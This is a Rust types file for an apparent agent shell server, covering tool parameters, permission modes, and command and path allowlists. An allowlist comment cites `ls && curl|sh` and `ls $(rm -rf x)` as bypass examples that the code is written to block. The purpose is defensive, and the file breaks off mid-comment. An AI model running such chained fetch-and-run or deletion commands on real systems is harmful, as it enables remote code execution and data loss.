winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9 if filtered.is_empty() {
10 return filtered;
11 }
12
13 // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14 // can otherwise create pathologically long state-file names. Preserve safe,
15 // short ids verbatim; every changed or oversized id receives a stable hash of
16 // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17 if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18 return filtered;
19 }
20
21 let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22 let mut prefix = String::with_capacity(prefix_budget);
23 for character in filtered.chars() {
24 if prefix.len() + character.len_utf8() > prefix_budget {
25 break;
26 }
27 prefix.push(character);
28 }
29 format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39 /// Screen is actively working (scanned across the whole screen). E.g.
40 /// `["esc to interrupt", "generating"]`.
41 #[serde(default)]
42 pub busy: Vec<String>,
43 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44 #[serde(default)]
45 pub awaiting_input: Vec<String>,
46 /// Screen is asking for confirmation (scanned in the tail). E.g.
47 /// `["do you want", "y/n"]`.
48 #[serde(default)]
49 pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53 /// True when no markers are configured (nothing to recognize).
54 pub fn is_empty(&self) -> bool {
55 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56 }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63 let mut hash: u32 = 0x811c_9dc5;
64 for byte in s.bytes() {
65 hash ^= u32::from(byte);
66 hash = hash.wrapping_mul(0x0100_0193);
67 }
68 hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78 /// Initial call at the start of a conversation
79 ///
80 /// This should be used for the first Initialize call in a conversation.
81 /// It sets up a new shell environment with the specified parameters.
82 FirstCall,
83
84 /// User requested to change the mode
85 ///
86 /// This should be used when the user asks to switch between modes
87 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88 UserAskedModeChange,
89
90 /// Reset the shell environment due to issues
91 ///
92 /// This should be used when the shell environment appears to be in a bad state
93 /// and needs to be reset to continue properly.
94 ResetShell,
95
96 /// User requested to change the workspace
97 ///
98 /// This should be used when the user asks to switch to a different
99 /// workspace or project directory during the conversation.
100 UserAskedChangeWorkspace,
101}
102
103#[derive(Debug, Clone, PartialEq)]
104pub enum ModeName {
105 Wcgw,
106 Architect,
107 CodeWriter,
108}
109
110// Custom serializer implementation to ensure values are properly quoted in JSON
111impl Serialize for ModeName {
112 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
113 where
114 S: serde::Serializer,
115 {
116 match self {
117 ModeName::Wcgw => serializer.serialize_str("wcgw"),
118 ModeName::Architect => serializer.serialize_str("architect"),
119 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
120 }
121 }
122}
123
124// Custom deserializer to support multiple aliases
125impl<'de> Deserialize<'de> for ModeName {
126 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
127 where
128 D: serde::Deserializer<'de>,
129 {
130 let s = String::deserialize(deserializer)?;
131 match s.as_str() {
132 "wcgw" => Ok(ModeName::Wcgw),
133 "architect" => Ok(ModeName::Architect),
134 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
135 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
136 }
137 }
138}
139
140// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
141// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
142// `#/definitions/ModeName`, a node that was never populated. Lenient clients
143// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
144// likely ChatGPT) reject the whole tool call: "Reference not found:
145// #/definitions/ModeName". The variants mirror the Serialize impl above.
146impl JsonSchema for ModeName {
147 fn schema_name() -> std::borrow::Cow<'static, str> {
148 "ModeName".into()
149 }
150
151 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
152 schemars::json_schema!({
153 "type": "string",
154 "enum": ["wcgw", "architect", "code_writer"],
155 "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
156 })
157 }
158}
159
160#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
161pub struct CodeWriterConfig {
162 #[serde(default)]
163 pub allowed_globs: AllowedGlobs,
164 #[serde(default)]
165 pub allowed_commands: AllowedCommands,
166}
167
168impl CodeWriterConfig {
169 pub fn update_relative_globs(&mut self, workspace_root: &str) {
170 // Only process if we have a list of globs
171 if let AllowedGlobs::List(globs) = &self.allowed_globs {
172 let updated_globs = globs
173 .iter()
174 .map(|glob| {
175 if std::path::Path::new(glob).is_absolute() {
176 glob.clone()
177 } else {
178 format!("{workspace_root}/{glob}")
179 }
180 })
181 .collect();
182
183 self.allowed_globs = AllowedGlobs::List(updated_globs);
184 }
185 }
186}
187
188#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
189#[serde(untagged)]
190pub enum AllowedGlobs {
191 All(String),
192 List(Vec<String>),
193}
194
195impl Default for AllowedGlobs {
196 fn default() -> Self {
197 AllowedGlobs::All("all".to_string())
198 }
199}
200
201impl AllowedGlobs {
202 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
203 /// Without this, a literal glob named "all" would be the only allowed path.
204 pub fn normalize(&mut self) {
205 if let AllowedGlobs::List(items) = self {
206 if items.len() == 1 && items[0] == "all" {
207 *self = AllowedGlobs::All("all".to_string());
208 }
209 }
210 }
211
212 #[allow(dead_code)]
213 pub fn is_allowed(&self, path: &str) -> bool {
214 match self {
215 AllowedGlobs::All(s) if s == "all" => true,
216 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
217 Ok(pattern) => pattern.matches(path),
218 Err(_) => false,
219 }),
220 AllowedGlobs::All(_) => false,
221 }
222 }
223}
224
225#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
226#[serde(untagged)]
227pub enum AllowedCommands {
228 All(String),
229 List(Vec<String>),
230}
231
232impl Default for AllowedCommands {
233 fn default() -> Self {
234 AllowedCommands::All("all".to_string())
235 }
236}
237
238impl AllowedCommands {
239 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
240 pub fn normalize(&mut self) {
241 if let AllowedCommands::List(items) = self {
242 if items.len() == 1 && items[0] == "all" {
243 *self = AllowedCommands::All("all".to_string());
244 }
245 }
246 }
247
248 pub fn is_allowed(&self, command_line: &str) -> bool {
249 match self {
250 AllowedCommands::All(s) if s == "all" => true,
251 AllowedCommands::All(_) => false,
252 AllowedCommands::List(commands) => {
253 // Enforce the allowlist against EVERY command the line would run
254 // (pipelines, &&/||/;, command & process substitution, subshells),
255 // not just the first whitespace token — which `ls && curl|sh` and
256 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
257 // closed: a restricted mode must not run what it can't vet.
258 match crate::utils::bash_parser::extract_command_texts(command_line) {
259 Ok(cmds) if !cmds.is_empty() => cmds
260 .iter()
261 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
262 _ => false,
263 }
264 }
265 }
266 }
267}
268
269/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
270/// enforcing a word boundary so `ls` does not also permit `lsof`, and
271/// `cargo test` does not permit `cargo testimony`.
272fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
273 let cmd = cmd.trim();
274 let allowed = allowed.trim();
275 if allowed.is_empty() {
276 return false;
277 }
278 cmd == allowed
279 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
280}
281
282/// Parameters for initializing the shell environment
283///
284/// This struct represents the parameters needed to initialize or update the shell environment.
285/// It is used by the Initialize tool, which must be called before any other shell tools.
286#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
287pub struct Initialize {
288 /// Initialization type, indicating the purpose of the call
289 ///
290 /// - `FirstCall`: Initial setup for a new conversation
291 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
292 /// - `ResetShell`: Reset the shell if it's not working properly
293 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
294 #[serde(rename = "type")]
295 #[serde(default = "default_init_type")]
296 pub init_type: InitializeType,
297
298 /// Path to the workspace directory or file
299 ///
300 /// This can be an absolute path or a path relative to the current directory.
301 /// If it's a file, the parent directory will be used as the workspace.
302 /// If it doesn't exist and is an absolute path, it will be created.
303 /// If it's a relative path and doesn't exist, an error will be returned.
304 pub any_workspace_path: String,
305
306 /// List of files to read initially
307 ///
308 /// These files can be absolute paths or paths relative to the workspace.
309 /// They will be read and their contents provided in the response.
310 #[serde(default)]
311 pub initial_files_to_read: Vec<String>,
312
313 /// ID of a task to resume
314 ///
315 /// If provided during a `first_call`, the task with this ID will be resumed.
316 /// This allows continuing a conversation from a previous session.
317 #[serde(default = "String::new")]
318 #[serde(deserialize_with = "deserialize_string_or_null")]
319 pub task_id_to_resume: String,
320
321 /// Mode name for the shell environment
322 ///
323 /// - `wcgw`: Full permissions (default)
324 /// - `architect`: Restricted permissions, read-only
325 /// - `code_writer`: Custom permissions for code writing
326 #[serde(default = "default_mode_name")]
327 pub mode_name: ModeName,
328
329 /// ID of the thread session
330 ///
331 /// If not provided for a `first_call`, a new ID will be generated.
332 /// This ID must be included in all subsequent tool calls.
333 #[serde(default)]
334 #[serde(deserialize_with = "deserialize_string_or_null")]
335 pub thread_id: String,
336
337 /// Configuration for `code_writer` mode
338 ///
339 /// Only used when `mode_name` is "`code_writer`".
340 /// Specifies allowed commands and file globs for writing/editing.
341 #[serde(default)]
342 #[serde(deserialize_with = "deserialize_code_writer_config")]
343 pub code_writer_config: Option<CodeWriterConfig>,
344}
345
346// Custom deserializer for strings that might be null
347fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
348where
349 D: serde::Deserializer<'de>,
350{
351 // First try to deserialize as a string
352 let result = serde_json::Value::deserialize(deserializer)?;
353
354 match result {
355 // Return empty string for null values
356 serde_json::Value::Null => Ok(String::new()),
357 // If it's a string, use that
358 serde_json::Value::String(s) => {
359 // Handle "null" string specially
360 if s == "null" {
361 Ok(String::new())
362 } else {
363 Ok(s)
364 }
365 }
366 // Otherwise try to convert to a string
367 _ => match serde_json::to_string(&result) {
368 Ok(s) => Ok(s),
369 Err(_) => Ok(String::new()),
370 },
371 }
372}
373
374// Custom deserializer for code_writer_config that handles the "null" string case
375fn deserialize_code_writer_config<'de, D>(
376 deserializer: D,
377) -> Result<Option<CodeWriterConfig>, D::Error>
378where
379 D: serde::Deserializer<'de>,
380{
381 // This handles multiple possible input types
382 let value = serde_json::Value::deserialize(deserializer)?;
383
384 match value {
385 // If it's explicitly null or the string "null", return None
386 serde_json::Value::Null => Ok(None),
387 serde_json::Value::String(s) if s == "null" => Ok(None),
388 // Otherwise try to parse it as CodeWriterConfig
389 _ => {
390 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
391 Ok(config) => {
392 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
393 Ok(Some(config))
394 }
395 Err(e) => {
396 // Fail loud. A malformed restricted-mode config must NOT silently
397 // degrade to `None` — `None` falls back to All commands / All globs,
398 // so the model would believe the shell is locked down while it is in
399 // fact wide open. Refuse to initialize instead.
400 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
401 Err(serde::de::Error::custom(format!(
402 "Invalid code_writer config: {e}. Refusing to start with a permissive \
403 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
404 to opt out explicitly)."
405 )))
406 }
407 }
408 }
409 }
410}
411
412/// Default `mode_name` for Initialize
413fn default_mode_name() -> ModeName {
414 ModeName::Wcgw
415}
416
417/// Default `init_type` for Initialize
418fn default_init_type() -> InitializeType {
419 InitializeType::FirstCall
420}
421
422// Mode types
423#[derive(Debug, Clone, Copy, PartialEq)]
424pub enum Modes {
425 Wcgw,
426 Architect,
427 CodeWriter,
428}
429
430/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
431/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
432/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
433/// variant maps to a `Modes` one — adding a variant to either enum without the
434/// other becomes a compile error here.
435impl From<&ModeName> for Modes {
436 fn from(name: &ModeName) -> Self {
437 match name {
438 ModeName::Wcgw => Modes::Wcgw,
439 ModeName::Architect => Modes::Architect,
440 ModeName::CodeWriter => Modes::CodeWriter,
441 }
442 }
443}
444
445impl std::fmt::Display for Modes {
446 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
447 match self {
448 Modes::Wcgw => write!(f, "wcgw"),
449 Modes::Architect => write!(f, "architect"),
450 Modes::CodeWriter => write!(f, "code_writer"),
451 }
452 }
453}
454
455// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
456// `#/definitions/Modes` was dangling and breaks strict MCP clients.
457impl JsonSchema for Modes {
458 fn schema_name() -> std::borrow::Cow<'static, str> {
459 "Modes".into()
460 }
461
462 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
463 schemars::json_schema!({
464 "type": "string",
465 "enum": ["wcgw", "architect", "code_writer"]
466 })
467 }
468}
469
470/// Special key types for shell interaction
471/// Matches wcgw Python's Specials enum exactly
472#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
473pub enum SpecialKey {
474 Enter,
475 #[serde(rename = "Key-up")]
476 KeyUp,
477 #[serde(rename = "Key-down")]
478 KeyDown,
479 #[serde(rename = "Key-left")]
480 KeyLeft,
481 #[serde(rename = "Key-right")]
482 KeyRight,
483 #[serde(rename = "Ctrl-c")]
484 CtrlC,
485 #[serde(rename = "Ctrl-d")]
486 CtrlD,
487 #[serde(rename = "Ctrl-z")]
488 CtrlZ,
489}
490
491/// Parameters for the `ReadFiles` tool
492///
493/// This struct represents the parameters needed to read one or more files.
494/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
495#[derive(Debug, Clone, Serialize, JsonSchema)]
496pub struct ReadFiles {
497 /// List of file paths to read.
498 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
499 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
500 pub file_paths: Vec<String>,
501
502 /// Optional thread ID identifying the shell session to operate on. When
503 /// omitted, the most recently active session is used.
504 #[serde(default)]
505 pub thread_id: String,
506
507 // Internal fields - not part of MCP schema (parsed from file_paths)
508 #[serde(skip)]
509 #[schemars(skip)]
510 pub start_line_nums: Vec<Option<usize>>,
511
512 #[serde(skip)]
513 #[schemars(skip)]
514 pub end_line_nums: Vec<Option<usize>>,
515}
516
517// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
518impl<'de> Deserialize<'de> for ReadFiles {
519 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
520 where
521 D: serde::Deserializer<'de>,
522 {
523 #[derive(Deserialize)]
524 struct ReadFilesHelper {
525 file_paths: Option<Vec<String>>,
526 #[serde(default)]
527 thread_id: Option<String>,
528 }
529
530 let input = serde_json::Value::deserialize(deserializer)?;
531
532 if !input.is_object() {
533 if input.is_null() {
534 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
535 }
536 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
537 }
538
539 let helper: ReadFilesHelper = serde_json::from_value(input)
540 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
541
542 let thread_id = helper.thread_id.unwrap_or_default();
543 let file_paths = match helper.file_paths {
544 Some(paths) if !paths.is_empty() => paths,
545 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
546 None => return Err(serde::de::Error::custom("file_paths is required.")),
547 };
548
549 // Parse line ranges from file paths (like wcgw Python's model_post_init)
550 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
551 let mut start_line_nums = Vec::with_capacity(file_paths.len());
552 let mut end_line_nums = Vec::with_capacity(file_paths.len());
553
554 for path in file_paths {
555 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
556 clean_file_paths.push(clean_path);
557 start_line_nums.push(start);
558 end_line_nums.push(end);
559 }
560
561 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
562 }
563}
564
565fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
566 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
567 return (path.to_string(), None, None);
568 };
569
570 let Some((start, end)) = parse_line_spec(line_spec) else {
571 return (path.to_string(), None, None);
572 };
573
574 (potential_path.to_string(), start, end)
575}
576
577fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
578 if line_spec.chars().all(|c| c.is_ascii_digit()) {
579 return line_spec.parse().ok().map(|line| (Some(line), None));
580 }
581
582 let (start, end) = line_spec.split_once('-')?;
583
584 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
585 return end.parse().ok().map(|line| (None, Some(line)));
586 }
587
588 if !start.is_empty()
589 && start.chars().all(|c| c.is_ascii_digit())
590 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
591 {
592 let start = start.parse().ok()?;
593 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
594 return Some((Some(start), end));
595 }
596
597 None
598}
599
600impl ReadFiles {
601 /// Line numbers are always shown (like wcgw Python)
602 pub fn show_line_numbers(&self) -> bool {
603 true
604 }
605
606 /// Get the clean file path without line range suffix
607 pub fn get_clean_path(&self, index: usize) -> String {
608 parse_file_path_with_line_range(&self.file_paths[index]).0
609 }
610}
611
612/// Default true value for `status_check`
613fn default_true() -> bool {
614 true
615}
616
617/// Types of actions that can be performed with the `BashCommand` tool
618#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
619#[serde(tag = "type", rename_all = "snake_case")]
620pub enum BashCommandAction {
621 /// Execute a shell command
622 Command {
623 command: String,
624 #[serde(default)]
625 is_background: bool,
626 /// Opt out of the single-top-level-statement guard. By default winx
627 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
628 /// agent has to be explicit about what it's running. Set this to true
629 /// when you knowingly want to run a composite command without
630 /// wrapping it in `bash -lc '...'`.
631 #[serde(default)]
632 allow_multi: bool,
633 },
634
635 /// Check the status of a running command.
636 ///
637 /// By default returns only what changed since the previous call — agents
638 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
639 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
640 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
641 /// the PTY ringbuffer.
642 StatusCheck {
643 #[serde(default = "default_true")]
644 status_check: bool,
645 bg_command_id: Option<String>,
646 #[serde(default)]
647 scrollback_lines: Option<usize>,
648 #[serde(default)]
649 verbose: bool,
650 },
651
652 /// Send text to a running command. Set `submit` to true to append a carriage
653 /// return after the bytes so the target program receives the input as a
654 /// completed line (matches what hitting Enter would do in a TUI).
655 SendText {
656 /// Text to type into the running program. Must be non-empty: to press
657 /// Enter alone, use `send_specials: ["Enter"]` instead.
658 #[schemars(length(min = 1))]
659 send_text: String,
660 bg_command_id: Option<String>,
661 #[serde(default)]
662 submit: bool,
663 },
664
665 /// Send special keys to a running command. `submit` works the same as in
666 /// `SendText`.
667 SendSpecials {
668 send_specials: Vec<SpecialKey>,
669 bg_command_id: Option<String>,
670 #[serde(default)]
671 submit: bool,
672 },
673
674 /// Send ASCII characters to a running command. `submit` works the same as in
675 /// `SendText`.
676 SendAscii {
677 send_ascii: Vec<u8>,
678 bg_command_id: Option<String>,
679 #[serde(default)]
680 submit: bool,
681 },
682
683 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
684 /// view a human would see right now (cursor moves, redraws, alternate-screen
685 /// and synchronized-output already applied), ANSI stripped. Unlike
686 /// `status_check`, it never stacks redraw generations and never waits — a
687 /// point-in-time photo, ideal for reading an interactive TUI's current frame
688 /// (the `claude` CLI, vim, htop, fzf).
689 Screen {
690 #[serde(default = "default_true")]
691 screen: bool,
692 bg_command_id: Option<String>,
693 /// Last N visible lines to return (0 or omitted = full screen buffer).
694 #[serde(default)]
695 lines: Option<usize>,
696 /// When true, return only the lines that CHANGED since the last `screen`
697 /// look (big token savings when polling a TUI frame-by-frame) instead of
698 /// the whole frame. First look, or a large change, still returns full.
699 #[serde(default)]
700 diff: bool,
701 },
702
703 /// Block until an interactive TUI finishes its turn and is ready for input.
704 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
705 /// with a per-app recognizer, then returns the stable snapshot plus the
706 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
707 WaitForTurn {
708 #[serde(default = "default_true")]
709 wait_for_turn: bool,
710 bg_command_id: Option<String>,
711 /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
712 /// (aka `agy`) or `generic`.
713 #[serde(default)]
714 recognizer: Option<String>,
715 /// Quiet window in ms — the screen must be unchanged this long to count
716 /// as idle (default 600).
717 #[serde(default)]
718 quiet_ms: Option<u64>,
719 /// Hard cap in seconds before returning regardless (default 30).
720 #[serde(default)]
721 timeout_seconds: Option<f32>,
722 /// Visible lines to return in the final snapshot (0 or omitted = full).
723 #[serde(default)]
724 lines: Option<usize>,
725 /// By default `wait_for_turn` returns as soon as it confirms the app is
726 /// actively working (`busy`), instead of blocking until the turn ends or
727 /// `timeout_seconds` elapses — so a long-running child never pins the
728 /// caller for the whole cap (poll again to keep watching). Set this to
729 /// true for the old behavior: block *through* `busy` until the app is
730 /// ready for input (or the timeout fires).
731 #[serde(default)]
732 wait_through_busy: bool,
733 },
734}
735
736/// Parameters for the `BashCommand` tool
737#[derive(Debug, Clone, Serialize, JsonSchema)]
738pub struct BashCommand {
739 /// The action to perform (command, status check, etc.)
740 pub action_json: BashCommandAction,
741
742 /// Seconds to block waiting for command completion or new output before
743 /// returning (default 15). Prefer 30-60 for commands you expect to run
744 /// long (builds, tests, installs): one larger wait resolves in a single
745 /// call instead of several `status_check` round-trips.
746 #[serde(default)]
747 #[serde(skip_serializing_if = "Option::is_none")]
748 pub wait_for_seconds: Option<f32>,
749
750 /// The thread ID for this session
751 #[serde(default)]
752 pub thread_id: String,
753}
754
755// Custom deserialization for BashCommand to handle string-encoded action_json
756impl<'de> Deserialize<'de> for BashCommand {
757 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
758 where
759 D: serde::Deserializer<'de>,
760 {
761 let input = serde_json::Value::deserialize(deserializer)?;
762 let serde_json::Value::Object(mut map) = input else {
763 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
764 };
765
766 let wait_for_seconds = map
767 .remove("wait_for_seconds")
768 .map(serde_json::from_value)
769 .transpose()
770 .map_err(serde::de::Error::custom)?;
771 let thread_id = map
772 .remove("thread_id")
773 .map(thread_id_from_value)
774 .transpose()
775 .map_err(serde::de::Error::custom)?
776 .unwrap_or_default();
777 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
778
779 // Process action_json which could be a string or an object
780 let action_json = match action_json_value {
781 serde_json::Value::String(s) => {
782 // If it's a string, normalize newlines and try to parse it as JSON
783 // Replace literal newlines with space to avoid JSON parsing errors
784 let sanitized = s.replace('\n', " ");
785 match serde_json::from_str(&sanitized) {
786 Ok(json) => normalize_action_json(json),
787 Err(e) => {
788 // If strict JSON parsing fails, try to be more lenient
789 // For commands containing literal newlines, just wrap the string in a command object
790 tracing::warn!(
791 "Failed to parse action_json as JSON, trying fallback: {}",
792 e
793 );
794
795 // Check for common JSON syntax issues
796 if s.contains("command") && s.contains('{') && s.contains('}') {
797 // It looks like JSON but has issues, let's try to sanitize it
798
799 // Detailed error for troubleshooting
800 tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
801
802 // Common issues: unescaped quotes, newlines, tabs
803 let re_sanitized = s
804 .replace('\n', "\\n") // Replace newlines with escaped newlines
805 .replace('\r', "\\r") // Replace carriage returns with escaped versions
806 .replace('\t', "\\t"); // Replace tabs with escaped versions
807
808 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
809 let re_sanitized = if !s.contains('"') && s.contains(':') {
810 // Very likely unquoted keys/values
811 tracing::debug!("Attempting to fix unquoted JSON keys/values");
812 re_sanitized
813 } else {
814 re_sanitized
815 };
816
817 match serde_json::from_str(&re_sanitized) {
818 Ok(json) => normalize_action_json(json),
819 Err(err) => {
820 // Log the specific parsing error for debugging
821 tracing::error!("Secondary JSON parse error: {}", err);
822 // Last resort fallback - assume it's a command string
823 // MUST include "type": "command" for serde tagged enum
824 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
825 }
826 }
827 } else {
828 // Assume it's a simple command string
829 // MUST include "type": "command" for serde tagged enum
830 tracing::info!(
831 bytes = s.len(),
832 "Treating action_json as simple command"
833 );
834 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
835 }
836 }
837 }
838 }
839 // If it's already an object or other JSON value, normalize legacy
840 // WCGW-style shorthand such as {"command": "..."}.
841 value => normalize_action_json(value),
842 };
843
844 // Now deserialize the action_json to our BashCommandAction enum
845 let action: BashCommandAction =
846 serde_json::from_value(action_json.clone()).map_err(|e| {
847 tracing::error!(
848 bytes = action_json.to_string().len(),
849 "Failed to deserialize action_json to BashCommandAction: {}",
850 e
851 );
852
853 // For the SyntaxError: Unexpected token case
854 let err_str = e.to_string();
855 if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
856 return serde::de::Error::custom(format!(
857 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
858 ));
859 }
860
861 serde::de::Error::custom(format!(
862 "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
863 ))
864 })?;
865
866 // Return the properly constructed BashCommand
867 Ok(BashCommand {
868 action_json: action,
869 wait_for_seconds,
870 thread_id: normalize_thread_id(&thread_id),
871 })
872 }
873}
874
875fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
876 match value {
877 serde_json::Value::Null => Ok(String::new()),
878 serde_json::Value::String(value) => Ok(value),
879 other => Err(format!("thread_id must be a string or null, got {other}")),
880 }
881}
882
883fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
884 let serde_json::Value::Object(map) = &mut value else {
885 return value;
886 };
887
888 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
889 *command = sanitize_shell_string(command);
890 }
891
892 if map.contains_key("type") {
893 return value;
894 }
895
896 let inferred_type = if map.contains_key("command") {
897 Some("command")
898 } else if map.contains_key("status_check") {
899 Some("status_check")
900 } else if map.contains_key("send_text") {
901 Some("send_text")
902 } else if map.contains_key("send_specials") {
903 Some("send_specials")
904 } else if map.contains_key("send_ascii") {
905 Some("send_ascii")
906 } else if map.contains_key("screen") {
907 Some("screen")
908 } else if map.contains_key("wait_for_turn") {
909 Some("wait_for_turn")
910 } else {
911 None
912 };
913
914 if let Some(action_type) = inferred_type {
915 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
916 }
917
918 value
919}
920
921fn sanitize_shell_string(value: &str) -> String {
922 value.replace('\0', "\\x00")
923}
924
925// Bash command mode
926#[derive(Debug, Clone, JsonSchema, PartialEq)]
927pub struct BashCommandMode {
928 pub bash_mode: BashMode,
929 pub allowed_commands: AllowedCommands,
930}
931
932#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
933pub enum BashMode {
934 NormalMode,
935 RestrictedMode,
936}
937
938// File edit mode
939#[derive(Debug, Clone, JsonSchema, PartialEq)]
940pub struct FileEditMode {
941 pub allowed_globs: AllowedGlobs,
942}
943
944// Write if empty mode
945#[derive(Debug, Clone, JsonSchema, PartialEq)]
946pub struct WriteIfEmptyMode {
947 pub allowed_globs: AllowedGlobs,
948}
949
950/// Parameters for the `FileWriteOrEdit` tool
951///
952/// This struct represents the parameters needed to write or edit a file
953/// with optional search/replace blocks for partial edits.
954#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
955pub struct FileWriteOrEdit {
956 /// Path to the file to write or edit
957 ///
958 /// This must be an absolute path (~ allowed).
959 pub file_path: String,
960
961 /// Percentage of the file that will be changed
962 ///
963 /// If > 50%, the content is treated as the entire file content.
964 /// If <= 50%, the content is treated as search/replace blocks.
965 pub percentage_to_change: u32,
966
967 /// Content for the file or search/replace blocks
968 ///
969 /// If `percentage_to_change` > 50%, this is the entire file content.
970 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
971 /// in the format:
972 /// ```text
973 /// <<<<<<< SEARCH
974 /// old content to find
975 /// =======
976 /// new content to replace with
